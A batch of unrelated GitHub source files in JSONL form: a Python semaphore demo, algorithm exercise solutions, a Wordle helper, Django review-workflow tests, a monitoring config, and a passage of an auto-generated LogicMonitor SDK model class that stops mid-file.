+{"seq_id":"73631610962","text":"# Author: O98K\n\n\"\"\"\n    信号量\n    Semaphore 控制进入数量的锁\n    文件的读、写  写一般只用一个线程写，读可使用多个线程实现\n\n    阅读源码可以看出，实际上Semaphore底层调用的还是Condition()\n\"\"\"\n\nimport time\nfrom threading import Semaphore, Thread\n\n\nclass HtmlSpider(Thread):\n    def __init__(self, url, semaphore):\n        super().__init__(name='HtmlSpider')\n        self.url = url\n        self.semaphore = semaphore\n\n    def run(self):\n        time.sleep(1)\n        print('get html text from {url}'.format(url=self.url))\n        # 抓取完之后释放\n        self.semaphore.release()\n\n\nclass UrlControl(Thread):\n    def __init__(self, semaphore):\n        super().__init__(name='UrlControl')\n        self.semaphore = semaphore\n\n    def run(self):\n        for i in range(20):\n            # 获取锁\n            self.semaphore.acquire()\n            html_thread = HtmlSpider(\"url_{id}\".format(id=str(i)), self.semaphore)\n            html_thread.start()\n\n\nif __name__ == '__main__':\n    # 指定信号量\n    # 没获取完信号之后将会等待，直到被获取的被释放之后\n    semaphore = Semaphore(3)\n    urlcontrol = UrlControl(semaphore)\n    urlcontrol.start()\n\n\n\n\n\n","repo_name":"zyphub/python-advance","sub_path":"进程和线程(池)/007_线程同步机制-Semaphore信号量.py","file_name":"007_线程同步机制-Semaphore信号量.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20096675839","text":"#!/usr/bin/env python3\n\n#test out multinomial probability density functionm \n\n#camel case notation\n\n\ndef mean_cov(matrix): \n    if matrix is 0:\n        return -1 #short circuit\n    import numpy as np\n    import math as mat\n    npInternalArray = np.array(matrix) #grab the numpy array\n    internalMean = np.mean(npInternalArray)\n\n\n    C = [[]] #make a null matrix \n\n    for i in range(6):\n        for j in range(6):\n    #manual calculation of covariant possibly can't compute if its not a square matrix\n            C[i][j] = npInternalArray[i][j]/(mat.sqrt(npInternalArray[i][i] * npInternalArray[j][j])) #test \n    return internalMean, C #aleph null\n\n\n    \n","repo_name":"romxero/holbertonschool-machine_learning","sub_path":"math/0x06-multivariate_prob/0-mean_cov.py","file_name":"0-mean_cov.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29583321466","text":"class Solution:\n    def isPalindrome(self, x: int) -> bool:\n        strnum = str(x)\n        answer = True\n        lnum = len(strnum)\n        for i in range((lnum)//2):\n            if strnum[i]!=strnum[lnum-1-i]:\n                answer = False\n                break\n        return answer\n        ","repo_name":"Ihyun/LeetCode","sub_path":"palindrome-number/palindrome-number.py","file_name":"palindrome-number.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21995678812","text":"#!/usr/bin/env python3\n# usage: ./matches.py guess1 guess2 guess3 answer\n\nimport os\nfrom collections import defaultdict\nfrom typing import Iterable\n\nfrom absl import app\nfrom absl import flags\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_bool('limit', True, 'Truncate long lists of matches')\n\nHINT_GREEN = 'g'\nHINT_YELLOW = 'y'\nHINT_GRAY = '.'\n\n\ndef print_annotated_guess(guess: str, result: str):\n  \"\"\"Pretty print an annotated guess.\"\"\"\n  from sys import stdout\n  if not stdout.isatty():\n    print(f'## {guess} ({result})')\n    return\n  s = '\\033[1;38;2;255;255;255m'\n  for c, r in zip(guess, result):\n    if r == HINT_GREEN:\n      s += '\\033[48;2;106;170;100m'\n    elif r == HINT_YELLOW:\n      s += '\\033[48;2;201;180;88m'\n    else:\n      s += '\\033[48;2;120;124;126m'\n    s += ' ' + c + ' '\n  print(s + '\\033[0m')\n\n\ndef load_dictionary() -> Iterable[str]:\n  dir = os.path.dirname(__file__)\n  path = os.path.join(dir, 'words.txt')\n  with open(path) as f:\n    for word in f:\n      yield word.strip()\n\n\nclass WordleConstraint:\n  def __init__(self):\n    self.min = defaultdict(lambda: 0)\n    self.max = defaultdict(lambda: 5)\n    self.positional_constraints = tuple(\n        set(map(chr, range(ord('a'),\n                           ord('z') + 1))) for _ in range(5))\n\n  def update(self, word: str, result: str):\n    assert len(word) == len(result) == 5 and word.islower() and word.isalpha()\n    word_min = defaultdict(lambda: 0)\n    saw_gray = set()\n    for i, (char, hint) in enumerate(zip(word, result)):\n      assert char >= 'a' and char <= 'z'\n      if hint == HINT_GREEN:\n        assert char in self.positional_constraints[i]\n        self.positional_constraints[i].intersection_update(set(char))\n        word_min[char] += 1\n      elif hint == HINT_YELLOW:\n        self.positional_constraints[i].discard(char)\n        word_min[char] += 1\n      else:\n        assert hint == HINT_GRAY, 'Unexpected hint \"%s\"' % hint\n        word_min[char] += 0\n        saw_gray.add(char)\n    for char, new_min in word_min.items():\n      if char in saw_gray:\n        assert self.min[char] <= new_min\n        self.max[char] = new_min\n      if self.min[char] < new_min:\n        self.min[char] = new_min\n\n  def match(self, word: str) -> bool:\n    lcount = defaultdict(lambda: 0)\n    for i, chr in enumerate(word):\n      if chr not in self.positional_constraints[i]:\n        return False\n      lcount[chr] += 1\n    for chr, min_cnt in self.min.items():\n      if lcount.get(chr, 0) < min_cnt:\n        return False\n    for chr, max_cnt in self.max.items():\n      if lcount.get(chr, 0) > max_cnt:\n        return False\n    return True\n\n\ndef print_matches(dictionary: Iterable[str], constraints: WordleConstraint):\n  num_matches = 0\n  for word in filter(constraints.match, dictionary):\n    num_matches += 1\n    if not FLAGS.limit or num_matches <= 13 * 5:\n      print(word, end='\\n' if num_matches % 13 == 0 else ' ')\n    elif num_matches == 13 * 5 + 1:\n      print(\"…\", end='')\n  print(f\"\\n{num_matches} match{'es' if num_matches != 1 else ''}\")\n\n\ndef guess_result(guess: str, answer: str) -> str:\n  \"\"\"Generates a result string for guess.\n\n  The result uses the characters in HINT_GREEN, HINT_YELLOW, and HINT_GRAY.\"\"\"\n  assert (len(guess) == 5 and len(answer) == 5)\n\n  result = [HINT_GRAY] * 5\n  lcount = defaultdict(lambda: 0)\n  for i in range(5):\n    if guess[i] == answer[i]:\n      result[i] = HINT_GREEN\n    else:\n      lcount[answer[i]] += 1\n  for i in range(5):\n    if result[i] != HINT_GREEN and lcount[guess[i]] > 0:\n      result[i] = HINT_YELLOW\n      lcount[guess[i]] -= 1\n  return ''.join(result)\n\n\ndef replay_with_hints(guesses_with_hints: list[str]):\n  dictionary = list(load_dictionary())\n  constraints = WordleConstraint()\n  for guess, result in (i.split(':') for i in guesses_with_hints):\n    print_annotated_guess(guess, result)\n    constraints.update(guess, result)\n    print_matches(dictionary, constraints)\n    print()\n\ndef replay_with_answer(guesses: list[str]):\n  \"\"\"Prints possible matches at each step from unannotated guesses.\"\"\"\n  dictionary = list(load_dictionary())\n  constraints = WordleConstraint()\n  for guess in guesses[:-1]:\n    result = guess_result(guess, guesses[-1])\n    print_annotated_guess(guess, result)\n    constraints.update(guess, result)\n    print_matches(dictionary, constraints)\n    print()\n  print_annotated_guess(guesses[-1], 'g' * 5)\n  print()\n\n\ndef main(argv):\n  args = argv[1:]\n  arg_sizes = set(map(len, args))\n  if arg_sizes == set([5]):\n    replay_with_answer(args)\n  elif arg_sizes == set([11]):\n    replay_with_hints(args)\n  else:\n    print(f\"usage: ./{argv[0]} guess1 guess2 ... answer OR ./{argv[0]} guess1:result1 guess2:result2 ...\")\n\n\nif __name__ == \"__main__\":\n  app.run(main)\n","repo_name":"funrollloops/wordle-tools","sub_path":"matches.py","file_name":"matches.py","file_ext":"py","file_size_in_byte":4709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71990844563","text":"from collections import deque\n\ndx = [-1,1,0,0]\ndy = [0,0,-1,1]\n\ndef bfs(maps, col, row, i, j, visited):\n    visited[i][j] = True\n    q = deque()\n    q.append([i,j])\n    num = 0\n    \n    while q:\n        c, r = q.popleft()\n        num += int(maps[c][r])\n        \n        for k in range(4):\n            x = c + dx[k]\n            y = r + dy[k]\n            \n            \n            if 0<=x<col and 0<=y<row:\n                if not visited[x][y] and maps[x][y] != 'X':\n                    visited[x][y] = True\n                    q.append([x,y])\n                    \n            else:\n                continue \n    return num   \n\ndef solution(maps):\n    answer = []\n    \n    for i in range(len(maps)):\n        maps[i] = list(maps[i]) # 2차원 배열로 재선언\n\n    col = len(maps) #4 세로!!\n    row = len(maps[0])  #5 가로!!\n\n    visited = [[False]*row for _ in range(col)]\n\n    for i in range(col):\n        for j in range(row):\n            if not visited[i][j] and maps[i][j] != 'X':\n                answer.append(bfs(maps, col, row, i, j, visited))\n            \n                    \n    if answer:   \n        answer.sort()\n    else:\n        answer = [-1]\n    \n    return answer","repo_name":"da-in/algorithm-study","sub_path":"Programmers - 문제풀이/무인도 여행/jamin.py","file_name":"jamin.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"3"}
+{"seq_id":"34103406305","text":"# 시간 복잡도: 2초 -> CPU clock 1GHz 기준, K=10,000일 때, O(K^2)=10^8 이하로 설계 (log_2(10) ~ 3.3)\n# 공간 복잡도: 128MB -> int 기준 32M (32 * 10^6)개 변수 = 약 3,200만개 , 1,000만 이하로 설계 (int: 4 Byte)\n\n# K <= 10,000이므로 랜선 길이 다 저장해도 공간복잡도 만족\n\nimport sys\n\ndef upper_bound(array, N, st, end):\n    while st < end:\n        counts = 0\n        mid = (st+end)//2\n\n        for length in array: # O(N)\n            counts += (length//mid)\n        if counts >= N:\n            st = mid + 1\n        else:\n            end = mid\n    return end\n\ninput = sys.stdin.readline\n\nK, N = map(int, input().split(' '))\n\nlen_list = []\nfor _ in range(K):\n    len_list.append(int(input()))\n\nlen_list.sort() # O(KlogK)\n\nst = 1\nend = len_list[-1]+1\n\nprint(upper_bound(len_list, N, st, end)-1)","repo_name":"JUiscoming/algorithm","sub_path":"baekjoon/binary_search/1654. 랜선 자르기.py","file_name":"1654. 랜선 자르기.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"29025256667","text":"from functools import partial\nfrom django.db.models import Q\nimport pytest\nfrom mock import patch\n\nfrom review.core import const\nfrom review.core.logic import bulk\nfrom review.core.models import (\n    PersonReview,\n    Review,\n)\nfrom review.lib import datetimes\n\nfrom tests import helpers\n\n\n@patch('review.core.logic.review_actions._publish_review_results')\ndef test_review_edit_status_as_creator(prr_mock, client, review_role_admin):\n    review = review_role_admin.review\n    helpers.post_json(\n        client=client,\n        path='/frontend/reviews/{}/workflow/'.format(review.id),\n        request={\n            'workflow': const.REVIEW_ACTIONS.STATUS_ARCHIVE,\n        },\n        login=review_role_admin.person.login\n    )\n    prr_mock.assert_called_once_with(review.id)\n    assert Review.objects.filter(id=review.id).first().status == const.REVIEW_STATUS.ARCHIVE\n\n\ndef test_reopen_to_finish_review(client, review_role_admin):\n    review = review_role_admin.review\n    review.status = const.REVIEW_STATUS.ARCHIVE\n    now = datetimes.now()\n    review.start_date = datetimes.shifted(now, months=-10)\n    review.finish_date = datetimes.shifted(now, months=-8)\n    review.save()\n    helpers.post_json(\n        client=client,\n        path='/frontend/reviews/{}/workflow/'.format(review.id),\n        request={\n            'workflow': const.REVIEW_ACTIONS.STATUS_UNARCHIVE,\n        },\n        login=review_role_admin.person.login\n    )\n    assert Review.objects.filter(id=review.id).first().status == const.REVIEW_STATUS.FINISHED\n\n\ndef test_reopen_to_progress_review(client, review_role_admin):\n    review = review_role_admin.review\n    review.status = const.REVIEW_STATUS.ARCHIVE\n    review.save()\n    helpers.post_json(\n        client=client,\n        path='/frontend/reviews/{}/workflow/'.format(review.id),\n        request={\n            'workflow': const.REVIEW_ACTIONS.STATUS_UNARCHIVE,\n        },\n        login=review_role_admin.person.login\n    )\n    assert Review.objects.filter(id=review.id).first().status == const.REVIEW_STATUS.IN_PROGRESS\n\n\ndef test_review_not_admin_change(client, review, person):\n    review.status = const.REVIEW_STATUS.ARCHIVE\n    review.save()\n    helpers.post_json(\n        client=client,\n        path='/frontend/reviews/{}/workflow/'.format(review.id),\n        request={\n            'workflow': const.REVIEW_ACTIONS.STATUS_PUBLISH,\n        },\n        login=person.login,\n        expect_status=403,\n        json_response=False,\n    )\n    assert Review.objects.filter(id=review.id).first().status == const.REVIEW_STATUS.ARCHIVE\n    helpers.post_json(\n        client=client,\n        path='/frontend/reviews/{}/workflow/'.format(review.id),\n        request={\n            'workflow': const.REVIEW_ACTIONS.STATUS_UNARCHIVE,\n        },\n        login=person.login,\n        expect_status=403,\n        json_response=False,\n    )\n    assert Review.objects.filter(id=review.id).first().status == const.REVIEW_STATUS.ARCHIVE\n\n\ndef test_review_edit_status_as_bad_guy(client, review, person):\n    old_status = review.status\n    helpers.post_json(\n        client=client,\n        path='/frontend/reviews/{}/workflow/'.format(review.id),\n        request={\n            'workflow': const.REVIEW_ACTIONS.STATUS_ARCHIVE,\n        },\n        login=person.login,\n        expect_status=403,\n        json_response=False,\n    )\n    assert Review.objects.filter(id=review.id).first().status == old_status\n\n\ndef test_review_archive_comments_as_admin(\n    client,\n    person_review_builder,\n    person_review_role_builder,\n    review_role_admin,\n    robot,\n):\n    review = review_role_admin.review\n    person_review = person_review_builder(review=review)\n    review.status = const.REVIEW_STATUS.ARCHIVE\n    bulk.publish_person_reviews(robot, review.id)\n\n    reviewer = person_review_role_builder(\n        person_review=person_review,\n        type=const.ROLE.PERSON_REVIEW.TOP_REVIEWER,\n    ).person\n    response = helpers.get_json(\n        client,\n        path='/frontend/persons/{}/log/'.format(person_review.person.login),\n        login=reviewer.login,\n    )\n    change_types = const.PERSON_REVIEW_CHANGE_TYPE\n    assert response['log'][0]['subject_type'] == change_types.VERBOSE[change_types.ROBOT]\n\n\n@pytest.mark.parametrize(\n    'review_mark_type', [\n        const.REVIEW_MODE.MODE_MANUAL,\n        const.REVIEW_MODE.MODE_DISABLED,\n    ]\n)\ndef test_publish_review_results(\n    person_review_builder,\n    person_review_role_builder,\n    review_builder,\n    review_mark_type,\n    robot,\n):\n    review = review_builder(mark_mode=review_mark_type)\n    STATUS = const.PERSON_REVIEW_STATUS\n\n    def create_with_reviewers(status, num=4, level=0):\n        person_review = person_review_builder(\n            status=status,\n            review=review,\n            approve_level=level,\n        )\n        person_review_role_builder(\n            type=const.ROLE.PERSON_REVIEW.TOP_REVIEWER,\n            person_review=person_review,\n            position=num,\n        )\n        for i in range(num - 1):\n            person_review_role_builder(\n                type=const.ROLE.PERSON_REVIEW.REVIEWER,\n                person_review=person_review,\n                position=i,\n            )\n\n    create_with_reviewers(STATUS.WAIT_EVALUATION)\n\n    if review_mark_type == const.REVIEW_MODE.MODE_MANUAL:\n        person_review_builder = partial(\n            person_review_builder,\n            mark='A',\n        )\n        create_with_reviewers(STATUS.EVALUATION)\n    for reviewers_num, approve_level in (\n        (4, 2),\n        (4, 1),\n        (2, 0),\n    ):\n        create_with_reviewers(STATUS.APPROVAL, reviewers_num, approve_level)\n\n    create_with_reviewers(STATUS.APPROVED, 2, 1)\n    create_with_reviewers(STATUS.WAIT_ANNOUNCE, 2, 1)\n    create_with_reviewers(STATUS.ANNOUNCED, 2, 1)\n\n    bulk.publish_person_reviews(robot, review.id)\n\n    is_mark_incorrect = (~Q(mark=const.MARK.NOT_SET) &\n                         Q(review__mark_mode=const.REVIEW_MODE.MODE_MANUAL))\n    not_announced = ~Q(status=STATUS.ANNOUNCED)\n    assert not PersonReview.objects.filter(\n        is_mark_incorrect & not_announced\n    ).exists()\n\n\ndef test_review_start_with_empty_chains(\n    client,\n    review_role_admin,\n    person_review_builder,\n):\n    review = review_role_admin.review\n    helpers.update_model(review, status=const.REVIEW_STATUS.DRAFT)\n    person_review = person_review_builder(review=review)\n\n    response_data = helpers.post_json(\n        client=client,\n        path='/frontend/reviews/{}/workflow/'.format(review.id),\n        request={\n            'workflow': const.REVIEW_ACTIONS.STATUS_PUBLISH\n        },\n        login=review_role_admin.person.login,\n        expect_status=400,\n    )\n\n    helpers.assert_is_substructure(\n        {\n            'errors': {\n                '*': {\n                    'params': {\n                        'logins': [person_review.person.login],\n                    },\n                    'code': 'REVIEW_WORKFLOW_EMPTY_CHAINS',\n                }\n            }\n        },\n        response_data\n    )\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/tests/frontend/test_review_workflow.py","file_name":"test_review_workflow.py","file_ext":"py","file_size_in_byte":7009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29284537697","text":"from paysys.sre.tools.monitorings.configs.mdh.common import Testing, PgCluster\nfrom paysys.sre.tools.monitorings.configs.bcl.base import bcl\n\n\ncfg = bcl.BclConfig(env=Testing())\n\nhost = cfg.host_alias\nnamespace = cfg.project\nchildren = cfg.children_all\n\n\ndef checks():\n    return cfg.get_checks(\n        pg_cluster=PgCluster('d4c884e7-12f1-4557-8c24-995c9ce922f5'),\n    )\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"pay/testing/bcl.py","file_name":"bcl.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6780366152","text":"import pytest\nfrom ops import CharmBase\nfrom scenario import Context, State, Relation\n\nfrom holism import Holism, RelationNotFoundError\n\nholism = Holism()\n\n\n@holism\nclass MyCharm(CharmBase):\n    pass\n\n\ndef test_holism():\n    ctx = Context(MyCharm, meta={\"name\": \"test-holism\"})\n    with ctx.manager(\"start\", State()) as mgr:\n        assert not holism.relations\n\n\ndef test_relation_create():\n    ctx = Context(\n        MyCharm, meta={\"name\": \"test-holism\", \"requires\": {\"foo\": {\"interface\": \"bar\"}}}\n    )\n    foo = Relation(\"foo\")\n    with ctx.manager(foo.created_event, State(relations=[foo])) as mgr:\n        with pytest.raises(RelationNotFoundError):\n            _foo = holism.get_relation(\"foo\")\n\n        mgr.run()\n\n        _foo = holism.get_relation(\"foo\")\n        assert _foo.endpoint == \"foo\"\n        assert not _foo.joining_units\n        assert not _foo.departing_units\n","repo_name":"PietroPasotti/holism","sub_path":"test/test_unit.py","file_name":"test_unit.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70071268563","text":"# coding: utf-8\n\n\"\"\"\n    LogicMonitor REST API\n\n    LogicMonitor is a SaaS-based performance monitoring platform that provides full visibility into complex, hybrid infrastructures, offering granular performance monitoring and actionable data and insights. logicmonitor_sdk enables you to manage your LogicMonitor account programmatically.  # noqa: E501\n\n    OpenAPI spec version: 1.0.0\n    \n    Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re  # noqa: F401\n\nimport six\n\nfrom logicmonitor_sdk.models.auto_discovery_configuration import AutoDiscoveryConfiguration  # noqa: F401,E501\nfrom logicmonitor_sdk.models.collector_attribute import CollectorAttribute  # noqa: F401,E501\nfrom logicmonitor_sdk.models.data_point import DataPoint  # noqa: F401,E501\nfrom logicmonitor_sdk.models.script_eri_discovery_attribute_v2 import ScriptERIDiscoveryAttributeV2  # noqa: F401,E501\n\n\nclass DataSource(object):\n    \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n    Do not edit the class manually.\n    \"\"\"\n\n    \"\"\"\n    Attributes:\n      swagger_types (dict): The key is attribute name\n                            and the value is attribute type.\n      attribute_map (dict): The key is attribute name\n                            and the value is json key in definition.\n    \"\"\"\n    swagger_types = {\n        'collector_attribute': 'CollectorAttribute',\n        'auto_discovery_config': 'AutoDiscoveryConfiguration',\n        'eri_discovery_config': 'ScriptERIDiscoveryAttributeV2',\n        'display_name': 'str',\n        'description': 'str',\n        'applies_to': 'str',\n        'enable_auto_discovery': 'bool',\n        'technology': 'str',\n        'version': 'int',\n        'tags': 'str',\n        'audit_version': 'int',\n        'has_multi_instances': 'bool',\n        'collect_method': 'str',\n        'eri_discovery_interval': 'int',\n        'enable_eri_discovery': 'bool',\n        'collect_interval': 'int',\n        'name': 'str',\n        'data_points': 'list[DataPoint]',\n        'id': 'int',\n        'group': 'str'\n    }\n\n    attribute_map = {\n        'collector_attribute': 'collectorAttribute',\n        'auto_discovery_config': 'autoDiscoveryConfig',\n        'eri_discovery_config': 'eriDiscoveryConfig',\n        'display_name': 'displayName',\n        'description': 'description',\n        'applies_to': 'appliesTo',\n        'enable_auto_discovery': 'enableAutoDiscovery',\n        'technology': 'technology',\n        'version': 'version',\n        'tags': 'tags',\n        'audit_version': 'auditVersion',\n        'has_multi_instances': 'hasMultiInstances',\n        'collect_method': 'collectMethod',\n        'eri_discovery_interval': 'eriDiscoveryInterval',\n        'enable_eri_discovery': 'enableEriDiscovery',\n        'collect_interval': 'collectInterval',\n        'name': 'name',\n        'data_points': 'dataPoints',\n        'id': 'id',\n        'group': 'group'\n    }\n\n    def __init__(self, collector_attribute=None, auto_discovery_config=None, eri_discovery_config=None, display_name=None, description=None, applies_to=None, enable_auto_discovery=None, technology=None, version=None, tags=None, audit_version=None, has_multi_instances=None, collect_method=None, eri_discovery_interval=None, enable_eri_discovery=None, collect_interval=None, name=None, data_points=None, id=None, group=None):  # noqa: E501\n        \"\"\"DataSource - a model defined in Swagger\"\"\"  # noqa: E501\n\n        self._collector_attribute = None\n        self._auto_discovery_config = None\n        self._eri_discovery_config = None\n        self._display_name = None\n        self._description = None\n        self._applies_to = None\n        self._enable_auto_discovery = None\n        self._technology = None\n        self._version = None\n        self._tags = None\n        self._audit_version = None\n        self._has_multi_instances = None\n        self._collect_method = None\n        self._eri_discovery_interval = None\n        self._enable_eri_discovery = None\n        self._collect_interval = None\n        self._name = None\n        self._data_points = None\n        self._id = None\n        self._group = None\n        self.discriminator = None\n\n        self.collector_attribute = collector_attribute\n        if auto_discovery_config is not None:\n            self.auto_discovery_config = auto_discovery_config\n        if eri_discovery_config is not None:\n            self.eri_discovery_config = eri_discovery_config\n        if display_name is not None:\n            self.display_name = display_name\n        if description is not None:\n            self.description = description\n        if applies_to is not None:\n            self.applies_to = applies_to\n        if enable_auto_discovery is not None:\n            self.enable_auto_discovery = enable_auto_discovery\n        if technology is not None:\n            self.technology = technology\n        if version is not None:\n            self.version = version\n        if tags is not None:\n            self.tags = tags\n        if audit_version is not None:\n            self.audit_version = audit_version\n        if has_multi_instances is not None:\n            self.has_multi_instances = has_multi_instances\n        self.collect_method = collect_method\n        if eri_discovery_interval is not None:\n            self.eri_discovery_interval = eri_discovery_interval\n        if enable_eri_discovery is not None:\n            self.enable_eri_discovery = enable_eri_discovery\n        self.collect_interval = collect_interval\n        self.name = name\n        if data_points is not None:\n            self.data_points = data_points\n        if id is not None:\n            self.id = id\n        if group is not None:\n            self.group = group\n\n    @property\n    def collector_attribute(self):\n        \"\"\"Gets the collector_attribute of this DataSource.  # noqa: E501\n\n\n        :return: The collector_attribute of this DataSource.  # noqa: E501\n        :rtype: CollectorAttribute\n        \"\"\"\n        return self._collector_attribute\n\n    @collector_attribute.setter\n    def collector_attribute(self, collector_attribute):\n        \"\"\"Sets the collector_attribute of this DataSource.\n\n\n        :param collector_attribute: The collector_attribute of this DataSource.  # noqa: E501\n        :type: CollectorAttribute\n        \"\"\"\n        if collector_attribute is None:\n            raise ValueError(\"Invalid value for `collector_attribute`, must not be `None`\")  # noqa: E501\n\n        self._collector_attribute = collector_attribute\n\n    @property\n    def auto_discovery_config(self):\n        \"\"\"Gets the auto_discovery_config of this DataSource.  # noqa: E501\n\n\n        :return: The auto_discovery_config of this DataSource.  # noqa: E501\n        :rtype: AutoDiscoveryConfiguration\n        \"\"\"\n        return self._auto_discovery_config\n\n    @auto_discovery_config.setter\n    def auto_discovery_config(self, auto_discovery_config):\n        \"\"\"Sets the auto_discovery_config of this DataSource.\n\n\n        :param auto_discovery_config: The auto_discovery_config of this DataSource.  # noqa: E501\n        :type: AutoDiscoveryConfiguration\n        \"\"\"\n\n        self._auto_discovery_config = auto_discovery_config\n\n    @property\n    def eri_discovery_config(self):\n        \"\"\"Gets the eri_discovery_config of this DataSource.  # noqa: E501\n\n\n        :return: The eri_discovery_config of this DataSource.  # noqa: E501\n        :rtype: ScriptERIDiscoveryAttributeV2\n        \"\"\"\n        return self._eri_discovery_config\n\n    @eri_discovery_config.setter\n    def eri_discovery_config(self, eri_discovery_config):\n        \"\"\"Sets the eri_discovery_config of this DataSource.\n\n\n        :param eri_discovery_config: The eri_discovery_config of this DataSource.  # noqa: E501\n        :type: ScriptERIDiscoveryAttributeV2\n        \"\"\"\n\n        self._eri_discovery_config = eri_discovery_config\n\n    @property\n    def display_name(self):\n        \"\"\"Gets the display_name of this DataSource.  # noqa: E501\n\n\n        :return: The display_name of this DataSource.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._display_name\n\n    @display_name.setter\n    def display_name(self, display_name):\n        \"\"\"Sets the display_name of this DataSource.\n\n\n        :param display_name: The display_name of this DataSource.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._display_name = display_name\n\n    @property\n    def description(self):\n        \"\"\"Gets the description of this DataSource.  # noqa: E501\n\n\n        :return: The description of this DataSource.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._description\n\n    @description.setter\n    def description(self, description):\n        \"\"\"Sets the description of this DataSource.\n\n\n        :param description: The description of this DataSource.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._description = description\n\n    @property\n    def applies_to(self):\n        \"\"\"Gets the applies_to of this DataSource.  # noqa: E501\n\n\n        :return: The applies_to of this DataSource.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._applies_to\n\n    @applies_to.setter\n    def applies_to(self, applies_to):\n        \"\"\"Sets the applies_to of this DataSource.\n\n\n        :param applies_to: The applies_to of this DataSource.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._applies_to = applies_to\n\n    @property\n    def enable_auto_discovery(self):\n        \"\"\"Gets the enable_auto_discovery of this DataSource.  # noqa: E501\n\n\n        :return: The enable_auto_discovery of this DataSource.  # noqa: E501\n        :rtype: bool\n        \"\"\"\n        return self._enable_auto_discovery\n\n    @enable_auto_discovery.setter\n    def enable_auto_discovery(self, enable_auto_discovery):\n        \"\"\"Sets the enable_auto_discovery of this DataSource.\n\n\n        :param enable_auto_discovery: The enable_auto_discovery of this DataSource.  # noqa: E501\n        :type: bool\n        \"\"\"\n\n        self._enable_auto_discovery = enable_auto_discovery\n\n    @property\n    def technology(self):\n        \"\"\"Gets the technology of this DataSource.  # noqa: E501\n\n\n        :return: The technology of this DataSource.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._technology\n\n    @technology.setter\n    def technology(self, technology):\n        \"\"\"Sets the technology of this DataSource.\n\n\n        :param technology: The technology of this DataSource.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._technology = technology\n\n    @property\n    def version(self):\n        \"\"\"Gets the version of this DataSource.  # noqa: E501\n\n\n        :return: The version of this DataSource.  # noqa: E501\n        :rtype: int\n        \"\"\"\n        return self._version\n\n    @version.setter\n    def version(self, version):\n        \"\"\"Sets the version of this DataSource.\n\n\n        :param version: The version of this DataSource.  # noqa: E501\n        :type: int\n        \"\"\"\n\n        self._version = version\n\n    @property\n    def tags(self):\n        \"\"\"Gets the tags of this DataSource.  # noqa: E501\n\n\n        :return: The tags of this DataSource.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._tags\n\n    @tags.setter\n    def tags(self, tags):\n        \"\"\"Sets the tags of this DataSource.\n\n\n        :param tags: The tags of this DataSource.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._tags = tags\n\n    @property\n    def audit_version(self):\n        \"\"\"Gets the audit_version of this DataSource.  # noqa: E501\n\n\n        :return: The audit_version of this DataSource.  # noqa: E501\n        :rtype: int\n        \"\"\"\n        return self._audit_version\n\n    @audit_version.setter\n    def audit_version(self, audit_version):\n        \"\"\"Sets the audit_version of this DataSource.\n\n\n        :param audit_version: The audit_version of this DataSource.  # noqa: E501\n        :type: int\n        \"\"\"\n\n        self._audit_version = audit_version\n\n    @property\n    def has_multi_instances(self):\n        \"\"\"Gets the has_multi_instances of this DataSource.  # noqa: E501\n\n\n        :return: The has_multi_instances of this DataSource.  # noqa: E501\n        :rtype: bool\n        \"\"\"\n        return self._has_multi_instances\n\n    @has_multi_instances.setter\n    def has_multi_instances(self, has_multi_instances):\n        \"\"\"Sets the has_multi_instances of this DataSource.\n\n\n        :param has_multi_instances: The has_multi_instances of this DataSource.  # noqa: E501\n        :type: bool\n        \"\"\"\n\n        self._has_multi_instances = has_multi_instances\n\n    @property\n    def collect_method(self):\n        \"\"\"Gets the collect_method of this DataSource.  # noqa: E501\n\n\n        :return: The collect_method of this DataSource.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._collect_method\n\n    @collect_method.setter\n    def collect_method(self, collect_method):\n        \"\"\"Sets the collect_method of this DataSource.\n\n\n        :param collect_method: The collect_method of this DataSource.  # noqa: E501\n        :type: str\n        \"\"\"\n        if collect_method is None:\n            raise ValueError(\"Invalid value for `collect_method`, must not be `None`\")  # noqa: E501\n\n        self._collect_method = collect_method\n\n    @property\n    def eri_discovery_interval(self):\n        \"\"\"Gets the eri_discovery_interval of this DataSource.  # noqa: E501\n\n\n        :return: The eri_discovery_interval of this DataSource.  # noqa: E501\n        :rtype: int\n        \"\"\"\n        return self._eri_discovery_interval\n\n    @eri_discovery_interval.setter\n    def eri_discovery_interval(self, eri_discovery_interval):\n        \"\"\"Sets the eri_discovery_interval of this DataSource.\n\n\n        :param eri_discovery_interval: The eri_discovery_interval of this DataSource.  # noqa: 